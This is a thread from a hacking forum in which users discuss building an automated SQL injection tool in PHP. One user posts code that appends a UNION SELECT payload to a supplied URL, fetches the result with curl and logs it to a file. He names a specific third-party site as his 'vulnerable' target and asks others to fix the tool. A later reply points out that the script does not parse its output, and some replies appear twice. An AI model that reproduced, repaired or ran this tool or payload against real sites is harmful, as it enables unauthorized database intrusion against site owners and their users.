+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: PHP (https://sinister.ly/Forum-PHP)
+--- Thread: Writing an SQLi automated exploit tool. (/Thread-Writing-an-SQLi-automated-exploit-tool)
Pages:
1
2
RE: Writing an SQLi automated exploit tool. - Psycho_Coder - 07-11-2013
Looks impressive, Good work. I will now learn php. I know JSP but they aren't free JSP hosting
ad: that I can test my scripts.
RE: Writing an SQLi automated exploit tool. - Psycho_Coder - 07-11-2013
Looks impressive, Good work. I will now learn php. I know JSP but they aren't free JSP hosting
ad: that I can test my scripts.
RE: Writing an SQLi automated exploit tool. - VipVince - 07-11-2013
I thought this should work fine:
PHP Code:
<form action="?inject" method="POST">
<b>Enter site:</b><br>
<input type="text" name="site"><br>
<input type="submit" value="Submit"><br>
<br>
</form>
<?php
$site = security($_POST['site']);
$inject = $_GET['inject'];
if(isset($inject)) {
if(!empty($site)){
$query = 'null union all select 1,version(),3,4,5,6,7--';
$siteq = $site.$query;
//$fields = array('input' => $vuln 'submit' => '');
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $siteq);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
//curl_setopt($ch, CURLOPT_USERAGENT, $browser); //
//curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
$result = curl_exec($ch);
if (!empty($result)) {
$fp = fopen('vulns.txt', 'w');
fwrite($fp, $site."\r\n");
fwrite($fp, $result."\r\n");
fwrite($fp, '=====================================================================================================================');
fclose($fp);
echo 'Echoed into the textdocument <a href="vulns.txt">vulns.txt</a>';
}
else {
echo 'No feedback from webserver';
}
}
}
function security($value) {
//$sec = mysqli_real_escape_string($value);
$sec2 = stripcslashes($value);
$sec3 = strip_tags($sec2);
$sec4 = htmlspecialchars($sec3);
$sec5 = htmlentities($sec4);
//$sec6 = preg_replace("[^A-Za-z0-9%].,?!", "", $sec5);
$sec7 = addslashes($sec5);
return $sec7;
}
?>Basically input the vulnerable site and id= parameter and the tool would automatically append the SQL query to it which would write the results to file.
So when I add a vulnerable site to the form like:
http://www.clanwilliam.info/index.php?id=
The tool should append the SQLi variable data to it which should become:
http://www.clanwilliam.info/index.php?id=null 1,version(),3,4,5,6,7--
Result should be "5.1.66-0+SQUEEZE1-LOG"
Then I check vulns.txt for the results and it has this:
http://pastebin.com/n5UXeEw6
The appending never seemed to happened nor was the SQL version results viewable or written to file. If anybody thinks they may be able to fix this that would be appreciated.
RE: Writing an SQLi automated exploit tool. - The Alchemist - 07-12-2013
Obviously, it'll store that. Your script does not parse the output. It just gets the contents of the webpage generated by the url(along with the query) with your curl request and stores it in the text file.
RE: Writing an SQLi automated exploit tool. - The Alchemist - 07-12-2013
Obviously, it'll store that. Your script does not parse the output. It just gets the contents of the webpage generated by the url(along with the query) with your curl request and stores it in the text file.